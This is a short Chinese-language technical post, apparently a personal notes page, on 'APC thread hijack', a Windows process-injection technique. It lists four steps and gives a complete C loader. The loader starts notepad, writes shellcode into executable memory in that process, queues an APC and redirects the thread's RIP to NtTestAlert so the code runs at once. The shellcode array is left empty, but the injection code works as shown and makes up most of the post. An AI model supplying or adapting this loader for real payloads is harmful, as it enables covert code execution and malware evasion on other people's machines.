# APC Thread Hijack

## 简介

我也不知道为什么要写这个....这玩意有点像脱裤子放屁....

昨天和某个dalao谈论了一下apc注入，我们经过友好的技术♂交流(迫真)，意识到了三环插入的apc无法确定时间执行，于是有了这个东西。

能弹出窗来就是了。

## 流程

1. 插入apc
2. 挂起线程
3. 修改rip指向NtTestAlert函数
4. 恢复线程

## 代码

```
#include<Windows.h>
#include<stdio.h>

char shellcode[] =
"";

typedef VOID(NTAPI* pNtTestAlert)(VOID);

int main() {
	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);
	PROCESS_INFORMATION pi = { 0 };
	pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
	Sleep(1000);//Wait for thread initialization to complete -> nttestalert is executed
	SuspendThread(pi.hThread);
	LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);
	CONTEXT ctx = { 0 };
	QueueUserAPC((PAPCFUNC)lpBuffer, pi.hThread, NULL);
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(pi.hThread, &ctx);
	ctx.Rip = (DWORD64)NtTestAlert;
	SetThreadContext(pi.hThread, &ctx);
	ResumeThread(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	//NtTestAlert();
	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MD4QBw8Fw08U1UsUas1%2F-MD4QJFaqyodPeCxG-GS%2Fimage.png?alt=media\&token=99d212dc-d1e6-4a8e-88df-1e4e047ba2b4)
